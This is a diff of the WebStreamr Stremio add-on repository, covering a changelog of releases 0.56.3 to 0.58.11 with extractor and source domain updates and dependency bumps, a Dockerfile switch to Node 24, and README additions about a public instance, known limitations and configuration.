* **source:** determine latest 4KHDHub domain more dynamically ([f8f62db](https://github.com/webstreamr/webstreamr/commit/f8f62db174eaa4acc8dbce1ff9f44a0318e99a7a))
|
||||
* **source:** update 4KHDHub TLD and re-generate fixtures ([1f4d7c7](https://github.com/webstreamr/webstreamr/commit/1f4d7c752d08f9952af3f0c8a87a66b64ddb2c1d))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* run `npm audit fix` to fix security issues ([9b3c7c7](https://github.com/webstreamr/webstreamr/commit/9b3c7c76cf2eb77e9df895408b65f316c71f9406))
|
||||
|
||||
## [0.58.11](https://github.com/webstreamr/webstreamr/compare/v0.58.10...v0.58.11) (2026-01-01)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#606](https://github.com/webstreamr/webstreamr/issues/606)) ([9079fee](https://github.com/webstreamr/webstreamr/commit/9079feebbdaaec181915bca174034a46c9f62ab0))
|
||||
* **deps:** update dependency axios-cache-interceptor to v1.11.1 ([#605](https://github.com/webstreamr/webstreamr/issues/605)) ([a7d9359](https://github.com/webstreamr/webstreamr/commit/a7d93590c6c0d9e2a51cb08b5d6d9ddae64d0bec))
|
||||
* **deps:** update dependency axios-cache-interceptor to v1.11.2 ([#607](https://github.com/webstreamr/webstreamr/issues/607)) ([30c6026](https://github.com/webstreamr/webstreamr/commit/30c60261af9406bd202733c3d58455949d1d557e))
|
||||
* **deps:** update dependency typescript-eslint to v8.50.1 ([#599](https://github.com/webstreamr/webstreamr/issues/599)) ([d20c568](https://github.com/webstreamr/webstreamr/commit/d20c568e858ead5eac5b2ed4bd7b5e8838ccc9a2))
|
||||
* **deps:** update dependency typescript-eslint to v8.51.0 ([#608](https://github.com/webstreamr/webstreamr/issues/608)) ([f8b63f4](https://github.com/webstreamr/webstreamr/commit/f8b63f4cceade84592c43fbd6644a3fb291eae49))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** add new FileLions domain ([c8e38d7](https://github.com/webstreamr/webstreamr/commit/c8e38d73fff2ad0ca9205bc1c6770d3c102c3416))
|
||||
* **extractor:** deal better with cases where video ID URLs end with a slash ([9f5ac02](https://github.com/webstreamr/webstreamr/commit/9f5ac02ec60b66fd08cd37fa33b723939faae4e5))
|
||||
* **extractor:** use last FileMoon iframe url matcher ([135d90a](https://github.com/webstreamr/webstreamr/commit/135d90a2334e9598d5cc93d1973db417ef97c253))
|
||||
* **fetcher:** increase queue limits 5 times ([e7b1e2a](https://github.com/webstreamr/webstreamr/commit/e7b1e2a4fcc9fae0b729118f274fc6fcc481ed4d))
|
||||
* **test:** improve stability of MegaKino test by dirty mocking getFinalRedirectUrl ([6f24b79](https://github.com/webstreamr/webstreamr/commit/6f24b7928deed81b7891885a85dce031e4693a5a))
|
||||
|
||||
## [0.58.10](https://github.com/webstreamr/webstreamr/compare/v0.58.9...v0.58.10) (2025-12-22)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#580](https://github.com/webstreamr/webstreamr/issues/580)) ([0164995](https://github.com/webstreamr/webstreamr/commit/01649955b1f66c4b2093972c7d8c2e3a09cfd1af))
|
||||
* **deps:** lock file maintenance ([#595](https://github.com/webstreamr/webstreamr/issues/595)) ([36a15f0](https://github.com/webstreamr/webstreamr/commit/36a15f0091343165751ca3e9ecbe7d7709fdc39f))
|
||||
* **deps:** replace dependency @tsconfig/node22 with @tsconfig/node24 ([#581](https://github.com/webstreamr/webstreamr/issues/581)) ([9fd5634](https://github.com/webstreamr/webstreamr/commit/9fd563450ebf56c741146b488e2f16673d66a85c))
|
||||
* **deps:** update dependency @types/node to v24.10.4 ([#579](https://github.com/webstreamr/webstreamr/issues/579)) ([5d412b7](https://github.com/webstreamr/webstreamr/commit/5d412b759f7e3e3233fd5c6423418bfd3ea4d028))
|
||||
* **deps:** update dependency axios-cache-interceptor to v1.10.0 ([#592](https://github.com/webstreamr/webstreamr/issues/592)) ([58bd625](https://github.com/webstreamr/webstreamr/commit/58bd6250c9636ee99ece3930a792515a5a2e9d5e))
|
||||
* **deps:** update dependency axios-cache-interceptor to v1.9.1 ([#584](https://github.com/webstreamr/webstreamr/issues/584)) ([fa6bee4](https://github.com/webstreamr/webstreamr/commit/fa6bee4c834eae612019ced0081aed320fbf80f4))
|
||||
* **deps:** update dependency cacheable to v2.3.1 ([#587](https://github.com/webstreamr/webstreamr/issues/587)) ([10081a2](https://github.com/webstreamr/webstreamr/commit/10081a2276e9808f0a376c8084231ab929de3eda))
|
||||
* **deps:** update dependency typescript-eslint to v8.50.0 ([#583](https://github.com/webstreamr/webstreamr/issues/583)) ([40f9f9e](https://github.com/webstreamr/webstreamr/commit/40f9f9ec8c1f6f96429d86960c9973150a8d116d))
|
||||
* **deps:** update eslint monorepo to v9.39.2 ([#574](https://github.com/webstreamr/webstreamr/issues/574)) ([4f7a9d7](https://github.com/webstreamr/webstreamr/commit/4f7a9d725e69be926b3142453590a314913e83c5))
|
||||
* **source:** useless debug log ([7264fd2](https://github.com/webstreamr/webstreamr/commit/7264fd2ed4c3d2f05b8a330ef39e246d97bba039))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** update FileLion domains, remove kinoger.be ([6cc24c0](https://github.com/webstreamr/webstreamr/commit/6cc24c0332b6a34276de1bfd9d53053541639163))
|
||||
* return 400 for invalid ID instead of raising Error ([0610b85](https://github.com/webstreamr/webstreamr/commit/0610b8556ae3190b291dd040eff831d5e3e90878))
|
||||
* **source:** determine Frembed domain dynamically ([924265b](https://github.com/webstreamr/webstreamr/commit/924265b9640385b33e3a7a8dfb61b4993442e52f))
|
||||
* use "Mozilla" instead of "Mozilla/5.0" as default user agent ([ddf4f22](https://github.com/webstreamr/webstreamr/commit/ddf4f227b3350b87a91be6f2c063a993bf90f746))
|
||||
|
||||
## [0.58.9](https://github.com/webstreamr/webstreamr/compare/v0.58.8...v0.58.9) (2025-12-12)
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** fix HubCloud picking up incorrect FSL URLs ([e438f3c](https://github.com/webstreamr/webstreamr/commit/e438f3cbbde4ccf5614f574a8816db722751fcee))
|
||||
* **extractor:** handle FileMoon with missing height info in packed ([d44e0a2](https://github.com/webstreamr/webstreamr/commit/d44e0a2588fddc332d5bc833936e42fcd5ca2667))
|
||||
* **extractor:** use extractorId per HubCloud sub hoster again for better bingeGroup ([d71aa24](https://github.com/webstreamr/webstreamr/commit/d71aa240e7a29d34b82bc171bafd1b576c2efa89))
|
||||
* **source:** resolve MegaKino dynamically and cache for an hour ([258e35c](https://github.com/webstreamr/webstreamr/commit/258e35c94db461a2efcb9089d640024ab123bdb6))
|
||||
|
||||
## [0.58.8](https://github.com/webstreamr/webstreamr/compare/v0.58.7...v0.58.8) (2025-12-11)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#562](https://github.com/webstreamr/webstreamr/issues/562)) ([5ff8a49](https://github.com/webstreamr/webstreamr/commit/5ff8a49be5a509df4b9503fb2ee42c9723207de5))
|
||||
* **deps:** update dependency axios-cache-interceptor to v1.9.0 ([#566](https://github.com/webstreamr/webstreamr/issues/566)) ([32b49d4](https://github.com/webstreamr/webstreamr/commit/32b49d49a957626311c655ea403b1b9d8977187b))
|
||||
* **deps:** update dependency typescript-eslint to v8.49.0 ([#567](https://github.com/webstreamr/webstreamr/issues/567)) ([580845a](https://github.com/webstreamr/webstreamr/commit/580845ae77c11652fafca932f79885d8f6738c56))
|
||||
* **deps:** update dependency winston to v3.19.0 ([#559](https://github.com/webstreamr/webstreamr/issues/559)) ([3955820](https://github.com/webstreamr/webstreamr/commit/3955820eb96a65c1971f7a1eaaa180c5216e8fd4))
|
||||
* **source:** remove VidSrc which does not add value atm ([1bd85fb](https://github.com/webstreamr/webstreamr/commit/1bd85fb4ad038ff979cb372fd0c8577c54aaf775))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **source:** update MegaKino domain ([42b9cbe](https://github.com/webstreamr/webstreamr/commit/42b9cbe38fc3449f64499419e35f380e1cdd2c80))
|
||||
|
||||
|
||||
### Code Refactoring
|
||||
|
||||
* add generic source and extractor ids to meta and generalize bingeGroup generation ([d7edb51](https://github.com/webstreamr/webstreamr/commit/d7edb51698216ca56ce416fef0405f985dd85f3f))
|
||||
|
||||
## [0.58.7](https://github.com/webstreamr/webstreamr/compare/v0.58.6...v0.58.7) (2025-12-06)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **extractor:** add kinoger.ru support to VOE ([50c5d3a](https://github.com/webstreamr/webstreamr/commit/50c5d3a1cd764086573c7c851595245c2f551140))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **source:** return all KinoGer domains, fixes VOE results ([cf0be47](https://github.com/webstreamr/webstreamr/commit/cf0be4712e0b8f718e9b23910ebbcab65d825130))
|
||||
* **source:** update MegaKino domain ([0f7bc7c](https://github.com/webstreamr/webstreamr/commit/0f7bc7c07f11e188cfd1d372e02d8cef18f32573))
|
||||
|
||||
|
||||
### Reverts
|
||||
|
||||
* fix(source): remove KinoGer ([8dae887](https://github.com/webstreamr/webstreamr/commit/8dae887ecab9c45fa5ac7419019d91459a15bfbb))
|
||||
|
||||
## [0.58.6](https://github.com/webstreamr/webstreamr/compare/v0.58.5...v0.58.6) (2025-12-04)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** update dependency express to v5.2.0 ([#547](https://github.com/webstreamr/webstreamr/issues/547)) ([e092d72](https://github.com/webstreamr/webstreamr/commit/e092d7247d5085f7ac707e56f29c104af2196303))
|
||||
* **deps:** update dependency express to v5.2.1 ([#549](https://github.com/webstreamr/webstreamr/issues/549)) ([f549a32](https://github.com/webstreamr/webstreamr/commit/f549a32dd27629984df9706b98dc9aabf38cc784))
|
||||
* **deps:** update dependency ts-jest to v29.4.6 ([#546](https://github.com/webstreamr/webstreamr/issues/546)) ([d3dbedf](https://github.com/webstreamr/webstreamr/commit/d3dbedf18a582da1f4045820b6b76171d42791d6))
|
||||
* **deps:** update dependency typescript-eslint to v8.48.1 ([#550](https://github.com/webstreamr/webstreamr/issues/550)) ([d7392c0](https://github.com/webstreamr/webstreamr/commit/d7392c09d2b6eaeefdf797cb4df76583419f1488))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** handle DoodStream Not Found ([ae00c43](https://github.com/webstreamr/webstreamr/commit/ae00c431060c3bdf2184ffddc335cac5dd6f4cc4))
|
||||
|
||||
## [0.58.5](https://github.com/webstreamr/webstreamr/compare/v0.58.4...v0.58.5) (2025-12-01)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#542](https://github.com/webstreamr/webstreamr/issues/542)) ([d7e82ce](https://github.com/webstreamr/webstreamr/commit/d7e82ceff3c31f1f1a6ffb9c50ddd9dff41e8e34))
|
||||
* **extractor:** add new VOE domains ([cba3c8b](https://github.com/webstreamr/webstreamr/commit/cba3c8bbaea45996647d1a0a14a63a829fc5ce91))
|
||||
* **extractor:** match new DoodStream domain ([4a14ad7](https://github.com/webstreamr/webstreamr/commit/4a14ad7fb0dfbdb53f6a6cdd475f33cdd45842e6))
|
||||
* introduce helper for better and central season/episode formatting ([5c04104](https://github.com/webstreamr/webstreamr/commit/5c04104ad21f8b0c21a4228893fa8ed8bd8351e5))
|
||||
|
||||
|
||||
### Code Refactoring
|
||||
|
||||
* **extractor:** move label format handling into central place ([ef2b672](https://github.com/webstreamr/webstreamr/commit/ef2b6721c72283dde9b3a56f92ab7c435a4daac1))
|
||||
|
||||
## [0.58.4](https://github.com/webstreamr/webstreamr/compare/v0.58.3...v0.58.4) (2025-11-30)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* noop ([825d97a](https://github.com/webstreamr/webstreamr/commit/825d97adc4985beef5acf7a67d3ed7f91e2b9f78))
|
||||
|
||||
## [0.58.3](https://github.com/webstreamr/webstreamr/compare/v0.58.2...v0.58.3) (2025-11-30)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* adapt default user agent slightly ([1dd9d32](https://github.com/webstreamr/webstreamr/commit/1dd9d324e6a39b70bd7c171aed5853430b0f6159))
|
||||
|
||||
|
||||
### Reverts
|
||||
|
||||
* "chore: remove proxy headers in requests" ([afbc16a](https://github.com/webstreamr/webstreamr/commit/afbc16a3ec717275f4f9af134edd9a2542a781c0))
|
||||
|
||||
## [0.58.2](https://github.com/webstreamr/webstreamr/compare/v0.58.1...v0.58.2) (2025-11-29)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* remove proxy headers in requests ([6f6a3ae](https://github.com/webstreamr/webstreamr/commit/6f6a3ae2fd58548c66822309e8768ae0ef76d9a3))
|
||||
|
||||
## [0.58.1](https://github.com/webstreamr/webstreamr/compare/v0.58.0...v0.58.1) (2025-11-29)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* switch to non-alpine based node image ([9f7155f](https://github.com/webstreamr/webstreamr/commit/9f7155f42e2ca68822c9b1c121b6bb3604f2e35d))
|
||||
|
||||
## [0.58.0](https://github.com/webstreamr/webstreamr/compare/v0.57.2...v0.58.0) (2025-11-29)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#473](https://github.com/webstreamr/webstreamr/issues/473)) ([57bc464](https://github.com/webstreamr/webstreamr/commit/57bc4640e5931ad38d1200027a1f2f68891f18bb))
|
||||
* **deps:** lock file maintenance ([#495](https://github.com/webstreamr/webstreamr/issues/495)) ([e478a45](https://github.com/webstreamr/webstreamr/commit/e478a45bc0f5fc3d86f42d0065a445e37e03255a))
|
||||
* **deps:** lock file maintenance ([#508](https://github.com/webstreamr/webstreamr/issues/508)) ([3b78186](https://github.com/webstreamr/webstreamr/commit/3b7818670248b2b17aecd74d795a4f49c4b844e0))
|
||||
* **deps:** lock file maintenance ([#520](https://github.com/webstreamr/webstreamr/issues/520)) ([4815054](https://github.com/webstreamr/webstreamr/commit/4815054feda7c7429065158d08b40b2df6f2e722))
|
||||
* **deps:** update actions/checkout action to v6 ([#515](https://github.com/webstreamr/webstreamr/issues/515)) ([683e26e](https://github.com/webstreamr/webstreamr/commit/683e26e32a0c92fb3cebf5dad80d5621537da439))
|
||||
* **deps:** update dependency @stylistic/eslint-plugin to v5.6.0 ([#512](https://github.com/webstreamr/webstreamr/issues/512)) ([b4ba098](https://github.com/webstreamr/webstreamr/commit/b4ba09815837c7cd3d02ba58cd4f63bc57fa95de))
|
||||
* **deps:** update dependency @stylistic/eslint-plugin to v5.6.1 ([#513](https://github.com/webstreamr/webstreamr/issues/513)) ([c50e095](https://github.com/webstreamr/webstreamr/commit/c50e095781eb179e874585d7a264ef2ff1f6969b))
|
||||
* **deps:** update dependency @tsconfig/node22 to v22.0.3 ([#502](https://github.com/webstreamr/webstreamr/issues/502)) ([3f0c661](https://github.com/webstreamr/webstreamr/commit/3f0c661dae7abbc06411c62c5244fe192f277924))
|
||||
* **deps:** update dependency @tsconfig/node22 to v22.0.4 ([#504](https://github.com/webstreamr/webstreamr/issues/504)) ([e2268a3](https://github.com/webstreamr/webstreamr/commit/e2268a325a09d11126b3c95782804278310be867))
|
||||
* **deps:** update dependency @tsconfig/node22 to v22.0.5 ([#511](https://github.com/webstreamr/webstreamr/issues/511)) ([836021c](https://github.com/webstreamr/webstreamr/commit/836021c57ec28819da374b7513bdd4429ea521dd))
|
||||
* **deps:** update dependency @types/node to v24.10.1 ([#507](https://github.com/webstreamr/webstreamr/issues/507)) ([dbbf310](https://github.com/webstreamr/webstreamr/commit/dbbf310661b3b1cabac7bc40f4a2c3d7eeab7537))
|
||||
* **deps:** update dependency cacheable to v2.2.0 ([#506](https://github.com/webstreamr/webstreamr/issues/506)) ([7eb760b](https://github.com/webstreamr/webstreamr/commit/7eb760b5d6d49f69ea8cca2fa110a60a23af0aec))
|
||||
* **deps:** update dependency cacheable to v2.3.0 ([#526](https://github.com/webstreamr/webstreamr/issues/526)) ([219cb4b](https://github.com/webstreamr/webstreamr/commit/219cb4b5f619f5a30d1d4bd4e49939248c07afbc))
|
||||
* **deps:** update dependency nodemon to v3.1.11 ([#499](https://github.com/webstreamr/webstreamr/issues/499)) ([7dca36f](https://github.com/webstreamr/webstreamr/commit/7dca36fa83838b317b0315903a65f84b54948975))
|
||||
* **deps:** update dependency typescript-eslint to v8.46.3 ([#479](https://github.com/webstreamr/webstreamr/issues/479)) ([3c398d4](https://github.com/webstreamr/webstreamr/commit/3c398d4a1db17c67c6a3b220046b069e1f7e738b))
|
||||
* **deps:** update dependency typescript-eslint to v8.46.4 ([#497](https://github.com/webstreamr/webstreamr/issues/497)) ([159be1c](https://github.com/webstreamr/webstreamr/commit/159be1cac484f80ccc813e07202431f97d034086))
|
||||
* **deps:** update dependency typescript-eslint to v8.47.0 ([#510](https://github.com/webstreamr/webstreamr/issues/510)) ([0a85b0d](https://github.com/webstreamr/webstreamr/commit/0a85b0dc1ec195de3e14085c2d9132c8e64eaf66))
|
||||
* **deps:** update dependency typescript-eslint to v8.48.0 ([#525](https://github.com/webstreamr/webstreamr/issues/525)) ([9bec5b5](https://github.com/webstreamr/webstreamr/commit/9bec5b5f3b353edaa9f5069f7ce36c01546d6d3a))
|
||||
* **deps:** update eslint monorepo to v9.39.1 ([#468](https://github.com/webstreamr/webstreamr/issues/468)) ([33dbeb9](https://github.com/webstreamr/webstreamr/commit/33dbeb9776ffb9bc4e697163de4172353502d163))
|
||||
* do not use proxy for MFP urls ([280abc4](https://github.com/webstreamr/webstreamr/commit/280abc4dea4c63dcbca778d333ad4cf267c2a079))
|
||||
* **extractor:** remove non-working VidSrc ([f5f4740](https://github.com/webstreamr/webstreamr/commit/f5f47403cc15290c4473e3bdcdc4d131b8c9c4b2))
|
||||
* **extractor:** shorten mediaflow proxy label ([4cd1e09](https://github.com/webstreamr/webstreamr/commit/4cd1e09466a69e27923207a7edb1fd77004e902a))
|
||||
* **source:** use more consistent meta title format ([1765311](https://github.com/webstreamr/webstreamr/commit/17653115867f7349f11bc147cf2634bede0ddc7d))
|
||||
|
||||
|
||||
### Continuous Integration
|
||||
|
||||
* run build and test actions for PRs ([d80ca63](https://github.com/webstreamr/webstreamr/commit/d80ca63dad2ad87a05c369189551e8632e2ad909))
|
||||
|
||||
|
||||
### Features
|
||||
|
||||
* switch to axios to avoid Cloudflare TLS fingerprinting issues ([09f795b](https://github.com/webstreamr/webstreamr/commit/09f795b8622808e062bddecb02db68647d369183))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* ensure that VixSrc results have a title ([67d0508](https://github.com/webstreamr/webstreamr/commit/67d0508fd768d9c9fc637e4bf32bfa6a7223808a))
|
||||
* npm audit fix ([31e46c5](https://github.com/webstreamr/webstreamr/commit/31e46c5c56ce0fb2059b98ad7b6bbbda07ffa74d))
|
||||
* **source:** update frembed domain and add referer for API requests ([d07d31d](https://github.com/webstreamr/webstreamr/commit/d07d31d94ad66a0530683620a2dce2321b4c833b))
|
||||
* use axios proxy config properly ([b793001](https://github.com/webstreamr/webstreamr/commit/b7930014abbeb4445b15a12c060a9fc396561bd4))
|
||||
* use correct fetch for FlareSolverr ([68cfa65](https://github.com/webstreamr/webstreamr/commit/68cfa65135b76ba054c33cd08350473967a6a078))
|
||||
|
||||
## [0.57.2](https://github.com/webstreamr/webstreamr/compare/v0.57.1...v0.57.2) (2025-11-03)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** update dependency @types/express to v5.0.5 ([#472](https://github.com/webstreamr/webstreamr/issues/472)) ([a7bc742](https://github.com/webstreamr/webstreamr/commit/a7bc742035b0a836f785308b922ed919eed4e8b6))
|
||||
* **extractor:** register Vidora extractor ([82b810e](https://github.com/webstreamr/webstreamr/commit/82b810ed3609cfda5628a33b98e417847bcf3cc6))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** fix KinoGer and add new domains ([8e1ea10](https://github.com/webstreamr/webstreamr/commit/8e1ea10c5a031c864ab8dc752e2a2568671050a4))
|
||||
|
||||
## [0.57.1](https://github.com/webstreamr/webstreamr/compare/v0.57.0...v0.57.1) (2025-11-02)
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **source:** switch to new Frembed domain ([88a1fe1](https://github.com/webstreamr/webstreamr/commit/88a1fe10a155d72b05df905e0eabff3ff857b483))
|
||||
|
||||
## [0.57.0](https://github.com/webstreamr/webstreamr/compare/v0.56.8...v0.57.0) (2025-11-01)
|
||||
|
||||
|
||||
### Features
|
||||
|
||||
* **extractor:** add Vidora extractor ([#466](https://github.com/webstreamr/webstreamr/issues/466)) ([db25f98](https://github.com/webstreamr/webstreamr/commit/db25f98251257133ead68187e3aa97333cbab302))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** remove flaky HubCloud head requests ([053dce0](https://github.com/webstreamr/webstreamr/commit/053dce07297a62b1cae0dcfcf7c753c333b8538e))
|
||||
* **extractor:** support embed-only VOE urls ([a36d152](https://github.com/webstreamr/webstreamr/commit/a36d152b61e08c8e29500e3912d3b1c2da63fdc5))
|
||||
* **source:** remove KinoGer ([e5a5c62](https://github.com/webstreamr/webstreamr/commit/e5a5c621065de4849a3c7edfd4b893c80df47f61))
|
||||
|
||||
## [0.56.8](https://github.com/webstreamr/webstreamr/compare/v0.56.7...v0.56.8) (2025-10-29)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* allow Node 22 still ([c4bf32f](https://github.com/webstreamr/webstreamr/commit/c4bf32f9914e71d04dc85ecb07d625fd435c8f03))
|
||||
* **deps:** update dependency minimatch to v10.1.1 ([#461](https://github.com/webstreamr/webstreamr/issues/461)) ([5078609](https://github.com/webstreamr/webstreamr/commit/5078609c86f1aa12a1388f643591aa23ef68be64))
|
||||
* **deps:** update node.js to v24 ([20c43a3](https://github.com/webstreamr/webstreamr/commit/20c43a3ea17460b6105e4f8ec3d013c21dea23e3))
|
||||
* **extractor:** cache not found results for 12 hours ([4bc5e42](https://github.com/webstreamr/webstreamr/commit/4bc5e42e509cb212250543c9054587e014356aae))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **source:** add fallback search for english title to Kokoshka ([331e5bd](https://github.com/webstreamr/webstreamr/commit/331e5bd5d16ddaac18fdc7e6cc2e4f2ee8c0051c))
|
||||
* **source:** fine-tune Kokoshka result matching ([172edaf](https://github.com/webstreamr/webstreamr/commit/172edaf0fc7ac0a3059ccce8e9bb765e22a079d8))
|
||||
* **source:** switch to working MegaKino domain ([88b6a5e](https://github.com/webstreamr/webstreamr/commit/88b6a5ef454f50f23f2711859b9923170ad3dd50))
|
||||
|
||||
## [0.56.7](https://github.com/webstreamr/webstreamr/compare/v0.56.6...v0.56.7) (2025-10-28)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** update dependency @types/express to v5.0.4 ([#455](https://github.com/webstreamr/webstreamr/issues/455)) ([7cabb4d](https://github.com/webstreamr/webstreamr/commit/7cabb4d4abe895283b41f92d9ef9311000a937f3))
|
||||
* **deps:** update dependency @types/node to v22.18.12 ([#456](https://github.com/webstreamr/webstreamr/issues/456)) ([365c2de](https://github.com/webstreamr/webstreamr/commit/365c2de4e59e00841ec689a6525a52bf3f5e9cac))
|
||||
|
||||
|
||||
### Continuous Integration
|
||||
|
||||
* add workflow_dispatch trigger for build and tests ([79c16d5](https://github.com/webstreamr/webstreamr/commit/79c16d530db1658d92f069cfad899a2b86f8b0db))
|
||||
* build also for arm64 ([68dcab3](https://github.com/webstreamr/webstreamr/commit/68dcab39fbf545c24f411da2af383ddcf51cb8ea))
|
||||
|
||||
## [0.56.6](https://github.com/webstreamr/webstreamr/compare/v0.56.5...v0.56.6) (2025-10-24)
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** handle Fastream deleted or expired file ([bd1e184](https://github.com/webstreamr/webstreamr/commit/bd1e184023003b4128ee4d0eaf7d0b673719a92a))
|
||||
|
||||
## [0.56.5](https://github.com/webstreamr/webstreamr/compare/v0.56.4...v0.56.5) (2025-10-24)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* add host info of relevant URL to all errors ([cc3d30b](https://github.com/webstreamr/webstreamr/commit/cc3d30be2fbd234597b1019ce3fe7313b39cf314))
|
||||
* cache playlist heights for a month ([56e72b7](https://github.com/webstreamr/webstreamr/commit/56e72b73fe26dd37bf9b58e3281f0b9fb6d2eff8))
|
||||
* **deps:** lock file maintenance ([#449](https://github.com/webstreamr/webstreamr/issues/449)) ([a9b81d0](https://github.com/webstreamr/webstreamr/commit/a9b81d00c064e566671316edbb0e251704112ecc))
|
||||
* **deps:** update dependency @types/node to v22.18.11 ([#448](https://github.com/webstreamr/webstreamr/issues/448)) ([03bb9fe](https://github.com/webstreamr/webstreamr/commit/03bb9fea798b02c56379a0a6accdfb08f8badb01))
|
||||
* **deps:** update dependency typescript-eslint to v8.46.2 ([#451](https://github.com/webstreamr/webstreamr/issues/451)) ([c8b6cf2](https://github.com/webstreamr/webstreamr/commit/c8b6cf27328044d249963750011c7f41aa0c2694))
|
||||
* **extractor:** add KinoGer domains ([23da8dc](https://github.com/webstreamr/webstreamr/commit/23da8dc637452c08cabe46c0c6c608f030d19a14))
|
||||
* **extractor:** add VOE domain ([e2eaa91](https://github.com/webstreamr/webstreamr/commit/e2eaa9143bbf793884ca3559c1b9a98f70e518eb))
|
||||
* **extractor:** do not make any requests for external URLs ([77164df](https://github.com/webstreamr/webstreamr/commit/77164dfaa7e42688901da87242fbc04cf8a792d0))
|
||||
* remove noCache option ([e6d8d50](https://github.com/webstreamr/webstreamr/commit/e6d8d5076c956398540a5d2afbc94633fedb172c))
|
||||
* remove proxyConfig option ([6203863](https://github.com/webstreamr/webstreamr/commit/6203863523a495331e64582960b609a63ea0df32))
|
||||
|
||||
## [0.56.4](https://github.com/webstreamr/webstreamr/compare/v0.56.3...v0.56.4) (2025-10-18)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* mark VidSrc as being multi instead of English ([ae7b784](https://github.com/webstreamr/webstreamr/commit/ae7b784783a00dc529bd3330087389de16c01acc))
|
||||
* switch to new VidSrc domains, pass-through TMDB IDs if given ([d59658f](https://github.com/webstreamr/webstreamr/commit/d59658fb7b42e509df19fc6b154c22c8a01db9b0))
|
||||
|
||||
## [0.56.3](https://github.com/webstreamr/webstreamr/compare/v0.56.2...v0.56.3) (2025-10-18)
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
FROM node:22-alpine AS builder
|
||||
FROM node:24 AS builder
|
||||
WORKDIR /app
|
||||
|
||||
COPY package*.json ./
|
||||
|
|
@ -10,7 +10,7 @@ RUN npm run build
|
|||
|
||||
RUN npm ci --only=production
|
||||
|
||||
FROM node:22-alpine
|
||||
FROM node:24
|
||||
WORKDIR /app
|
||||
|
||||
COPY --from=builder /app/dist ./dist
|
||||
|
|
|
|||
21
README.md
21
README.md
|
|
@ -1,15 +1,28 @@
|
|||
# WebStreamr
|
||||
|
||||
[](https://github.com/webstreamr/webstreamr/actions/workflows/tests.yml)
|
||||
[](https://github.com/webstreamr/webstreamr/actions/workflows/tests.yml)
|
||||
[](https://github.com/webstreamr/webstreamr/releases)
|
||||

|
||||
|
||||
[Stremio](https://www.stremio.com/) add-on which provides HTTP URLs from streaming websites.
|
||||
|
||||
HTTP streams have limitations.
|
||||
For a better experience, I'd advise using a Debrid service and WebStreamr as fallback.
|
||||
[TorBox](https://torbox.app/subscription?referral=f22eb00d-27ce-4e20-85fc-68da3d018b99) is working very well.
|
||||
|
||||
## Public instance
|
||||
|
||||
A public instance is available at https://webstreamr.hayd.uk. Hosting infrastructure for this instance is donated by [ElfHosted](https://elfhosted.com), and independently maintained by [Hayduk](https://hayd.uk).
|
||||
|
||||
## Known issues / limitations
|
||||
|
||||
- PixelServer / pixeldrain has a daily limit of 6 GB per IP: https://pixeldrain.dev
|
||||
- Dropload and SuperVideo on Android do not work because Stremio does not use the `Referer` header properly via HLS playlists: https://github.com/Stremio/stremio-bugs/issues/2389, maybe https://github.com/Stremio/stremio-bugs/issues/1579
|
||||
- MediaFlow proxy has to be used in an inefficient way because Stremio on Android or its players cannot deal with HLS playlist with redirects: https://github.com/Stremio/stremio-bugs/issues/1574
|
||||
- FlareSolverr cookies cannot be used because Cloudflare does techniques like TLS fingerprinting most likely. But FlareSolverr uses a session per host and should be quick.
|
||||
- VidSrc works but rate limits heavily and is therefore only queried as fallback if nothing else is found.
|
||||
- RgShows detects shared usage and blocks IPs. It therefore only works on private instances.
|
||||
|
||||
## MediaFlow Proxy
|
||||
|
||||
[MediaFlow Proxy](https://github.com/mhdzumair/mediaflow-proxy/) can be added when configuration the add-on to gain access to a couple of more file hosters.
|
||||
|
|
@ -51,6 +64,7 @@ You can run the latest WebStreamr via Docker. E.g.
|
|||
--pull always \
|
||||
--publish 51546:51546 \
|
||||
--env TMDB_ACCESS_TOKEN="YOUR_TOKEN" \
|
||||
--volume /tmp:/tmp \
|
||||
webstreamr/webstreamr
|
||||
```
|
||||
|
||||
|
|
@ -72,6 +86,11 @@ Optional. Comma separated list of extractors which should be disabled. E.g. `doo
|
|||
|
||||
Optional. Comma separated list of sources which should be disabled. E.g. `frembed,vidsrc`
|
||||
|
||||
#### `FLARESOLVERR_ENDPOINT`
|
||||
